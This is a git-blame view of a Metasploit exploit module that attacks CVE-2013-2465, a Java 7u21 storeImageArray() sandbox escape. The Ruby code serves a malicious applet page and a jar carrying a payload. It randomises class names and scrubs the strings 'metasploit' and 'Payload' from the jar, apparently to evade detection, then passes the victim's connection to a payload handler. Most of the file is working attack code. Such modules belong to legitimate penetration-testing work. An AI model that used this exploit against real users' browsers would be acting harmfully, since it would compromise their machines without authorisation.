Files
metasploit-gs/modules/exploits/multi/browser/java_storeimagearray.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

158 lines
5.2 KiB
Ruby
Raw Normal View History

2013-08-15 18:34:51 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-08-15 18:34:51 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-15 18:34:51 -05:00
Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# include Msf::Exploit::Remote::BrowserAutopwn
# autopwn_info({ :javascript => false })
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability',
'Description' => %q{
This module abuses an Invalid Array Indexing Vulnerability on the
static function storeImageArray() function in order to cause a
memory corruption and escape the Java Sandbox. The vulnerability
affects Java version 7u21 and earlier. The module, which doesn't bypass
click2play, has been tested successfully on Java 7u21 on Windows and
Linux systems.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # From PacketStorm
2013-08-15 18:34:51 -05:00
'sinn3r', # Metasploit
'juan vazquez' # Metasploit
],
2025-06-20 13:20:44 +01:00
'References' => [
2013-08-15 22:04:15 -05:00
[ 'CVE', '2013-2465' ],
[ 'OSVDB', '96269' ],
2013-08-15 22:04:15 -05:00
[ 'EDB', '27526' ],
[ 'PACKETSTORM', '122777' ],
2013-08-15 22:04:15 -05:00
[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ]
2013-08-15 18:34:51 -05:00
],
2025-06-20 13:20:44 +01:00
'Platform' => %w{java linux win},
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' => [
[
'Generic (Java Payload)',
2013-08-15 18:34:51 -05:00
{
2025-06-20 13:20:44 +01:00
'Arch' => ARCH_JAVA,
2013-08-15 18:34:51 -05:00
'Platform' => 'java'
}
],
2025-06-20 13:20:44 +01:00
[
'Windows Universal',
2013-08-15 18:34:51 -05:00
{
2025-06-20 13:20:44 +01:00
'Arch' => ARCH_X86,
2013-08-15 18:34:51 -05:00
'Platform' => 'win'
}
],
2025-06-20 13:20:44 +01:00
[
'Linux x86',
2013-08-15 18:34:51 -05:00
{
2025-06-20 13:20:44 +01:00
'Arch' => ARCH_X86,
2013-08-15 18:34:51 -05:00
'Platform' => 'linux'
}
]
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2013-08-12',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-15 18:34:51 -05:00
end
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
def setup
2013-09-26 20:34:48 +01:00
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-2465", "Exploit.class")
2025-06-20 13:20:44 +01:00
@exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }
2013-09-26 20:34:48 +01:00
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-2465", "Exploit$MyColorModel.class")
2025-06-20 13:20:44 +01:00
@color_model_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }
2013-09-26 20:34:48 +01:00
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-2465", "Exploit$MyColorSpace.class")
2025-06-20 13:20:44 +01:00
@color_space_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
@exploit_class_name = rand_text_alpha("Exploit".length)
@color_model_class_name = rand_text_alpha("MyColorModel".length)
@color_space_class_name = rand_text_alpha("MyColorSpace".length)
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
@exploit_class.gsub!("Exploit", @exploit_class_name)
@exploit_class.gsub!("MyColorModel", @color_model_class_name)
@exploit_class.gsub!("MyColorSpace", @color_space_class_name)
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
@color_model_class.gsub!("Exploit", @exploit_class_name)
@color_model_class.gsub!("MyColorModel", @color_model_class_name)
@color_model_class.gsub!("MyColorSpace", @color_space_class_name)
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
@color_space_class.gsub!("Exploit", @exploit_class_name)
@color_space_class.gsub!("MyColorModel", @color_model_class_name)
@color_space_class.gsub!("MyColorSpace", @color_space_class_name)
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
super
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def on_request_uri(cli, request)
2015-04-21 11:14:03 -05:00
vprint_status("Requesting: #{request.uri}")
2013-08-15 18:34:51 -05:00
if request.uri !~ /\.jar$/i
if not request.uri =~ /\/$/
2015-04-21 11:14:03 -05:00
vprint_status("Sending redirect...")
2013-08-15 18:34:51 -05:00
send_redirect(cli, "#{get_resource}/", '')
return
end
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
print_status("Sending HTML...")
2025-06-20 13:20:44 +01:00
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
2013-08-15 18:34:51 -05:00
return
end
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
print_status("Sending .jar file...")
2025-06-20 13:20:44 +01:00
send_response(cli, generate_jar(cli), { 'Content-Type' => 'application/java-archive' })
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
handler(cli)
2013-08-15 18:34:51 -05:00
end
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
def generate_html
2025-06-20 13:20:44 +01:00
jar_name = rand_text_alpha(5 + rand(3))
2013-08-15 18:34:51 -05:00
html = %Q|<html>
<head>
</head>
<body>
<applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000">
</applet>
</body>
</html>
|
html = html.gsub(/^ {4}/, '')
2013-08-15 18:34:51 -05:00
return html
end
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
def generate_jar(cli)
p = regenerate_payload(cli)
2025-06-20 13:20:44 +01:00
jar = p.encoded_jar
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class)
jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest
2013-08-30 16:28:54 -05:00
2013-08-15 18:34:51 -05:00
return jar.pack
end
end